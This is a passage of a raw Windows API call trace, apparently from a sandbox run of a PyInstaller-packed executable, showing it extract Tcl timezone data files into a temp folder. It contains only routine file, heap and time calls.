(hObject=0x10c) returned 1 [0042.943] GetLastError () returned 0x0 [0042.943] SetLastError (dwErrCode=0x0) [0042.943] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian") returned 63 [0042.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.943] GetFileType (hFile=0x10c) returned 0x1 [0042.943] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.943] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.943] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.943] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.943] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.943] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.943] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.943] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.943] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.943] CloseHandle (hObject=0x10c) returned 1 [0042.943] GetLastError () returned 0x0 [0042.943] SetLastError (dwErrCode=0x0) [0042.943] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Christmas") returned 73 [0042.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Christmas" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\christmas"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.944] GetLastError () returned 0x2 [0042.944] SetLastError (dwErrCode=0x2) [0042.944] GetLastError () returned 0x2 [0042.944] SetLastError (dwErrCode=0x2) [0042.944] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Christmas", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Christmas", lpFilePart=0x0) returned 0x48 [0042.944] GetLastError () returned 0x2 [0042.944] SetLastError (dwErrCode=0x2) [0042.944] GetLastError () returned 0x2 [0042.944] SetLastError (dwErrCode=0x2) [0042.944] GetLastError () returned 0x2 [0042.944] SetLastError (dwErrCode=0x2) [0042.944] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Christmas") returned 73 [0042.944] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.944] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Christmas" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\christmas"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.945] GetFileType (hFile=0x10c) returned 0x1 [0042.945] htonl (hostlong=0x94000000) returned 0x94 [0042.945] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.945] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x94, lpOverlapped=0x0) returned 1 [0042.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.946] CloseHandle (hObject=0x10c) returned 1 [0042.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.946] htonl (hostlong=0x30000000) returned 0x30 [0042.946] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.946] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.946] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.946] GetFileType (hFile=0x10c) returned 0x1 [0042.946] htonl (hostlong=0x25d75c00) returned 0x5cd725 [0042.946] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618725, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.946] htonl (hostlong=0x85000000) returned 0x85 [0042.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x85) returned 0x55cfe0 [0042.946] htonl (hostlong=0x85000000) returned 0x85 [0042.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.946] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.946] htonl (hostlong=0x90000000) returned 0x90 [0042.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x90) returned 0x550600 [0042.946] htonl (hostlong=0x85000000) returned 0x85 [0042.946] htonl (hostlong=0x90000000) returned 0x90 [0042.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.946] CloseHandle (hObject=0x10c) returned 1 [0042.947] GetLastError () returned 0x0 [0042.947] SetLastError (dwErrCode=0x0) [0042.947] GetLastError () returned 0x0 [0042.947] SetLastError (dwErrCode=0x0) [0042.947] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.947] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.947] GetFileType (hFile=0x10c) returned 0x1 [0042.947] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.947] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.947] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.947] CloseHandle (hObject=0x10c) returned 1 [0042.947] GetLastError () returned 0x0 [0042.947] SetLastError (dwErrCode=0x0) [0042.947] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.947] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.947] GetFileType (hFile=0x10c) returned 0x1 [0042.947] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.947] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.948] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.948] CloseHandle (hObject=0x10c) returned 1 [0042.948] GetLastError () returned 0x0 [0042.948] SetLastError (dwErrCode=0x0) [0042.948] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian") returned 63 [0042.948] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.948] GetFileType (hFile=0x10c) returned 0x1 [0042.948] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.948] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.948] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.948] CloseHandle (hObject=0x10c) returned 1 [0042.948] GetLastError () returned 0x0 [0042.948] SetLastError (dwErrCode=0x0) [0042.948] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Cocos") returned 69 [0042.949] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Cocos" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\cocos"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.949] GetLastError () returned 0x2 [0042.949] SetLastError (dwErrCode=0x2) [0042.949] GetLastError () returned 0x2 [0042.949] SetLastError (dwErrCode=0x2) [0042.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Cocos", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Cocos", lpFilePart=0x0) returned 0x44 [0042.949] GetLastError () returned 0x2 [0042.949] SetLastError (dwErrCode=0x2) [0042.949] GetLastError () returned 0x2 [0042.949] SetLastError (dwErrCode=0x2) [0042.949] GetLastError () returned 0x2 [0042.949] SetLastError (dwErrCode=0x2) [0042.949] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Cocos") returned 69 [0042.949] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.949] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian\\Cocos" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian\\cocos"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.949] GetFileType (hFile=0x10c) returned 0x1 [0042.949] htonl (hostlong=0x90000000) returned 0x90 [0042.949] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.949] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x90, lpOverlapped=0x0) returned 1 [0042.950] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.950] CloseHandle (hObject=0x10c) returned 1 [0042.951] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.951] htonl (hostlong=0x30000000) returned 0x30 [0042.951] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.951] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.951] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.951] GetFileType (hFile=0x10c) returned 0x1 [0042.951] htonl (hostlong=0xaad75c00) returned 0x5cd7aa [0042.951] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6187aa, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.951] htonl (hostlong=0x8a000000) returned 0x8a [0042.951] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0042.951] htonl (hostlong=0x8a000000) returned 0x8a [0042.951] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.951] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.951] htonl (hostlong=0x91000000) returned 0x91 [0042.951] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x91) returned 0x550600 [0042.951] htonl (hostlong=0x8a000000) returned 0x8a [0042.951] htonl (hostlong=0x91000000) returned 0x91 [0042.951] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.951] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.951] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.951] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.951] CloseHandle (hObject=0x10c) returned 1 [0042.951] GetLastError () returned 0x0 [0042.951] SetLastError (dwErrCode=0x0) [0042.952] GetLastError () returned 0x0 [0042.952] SetLastError (dwErrCode=0x0) [0042.952] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.952] GetFileType (hFile=0x10c) returned 0x1 [0042.952] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.952] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.952] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.952] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.952] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.952] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.952] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.952] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.952] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.952] CloseHandle (hObject=0x10c) returned 1 [0042.952] GetLastError () returned 0x0 [0042.952] SetLastError (dwErrCode=0x0) [0042.952] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.952] GetFileType (hFile=0x10c) returned 0x1 [0042.952] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.952] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.952] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.952] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.953] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.953] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.953] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.953] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.953] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.953] CloseHandle (hObject=0x10c) returned 1 [0042.953] GetLastError () returned 0x0 [0042.953] SetLastError (dwErrCode=0x0) [0042.953] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian") returned 63 [0042.953] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Indian" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\indian"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.953] GetFileType (hFile=0x10c) returned 0x1 [0042.953] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.953] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.953] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.953] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 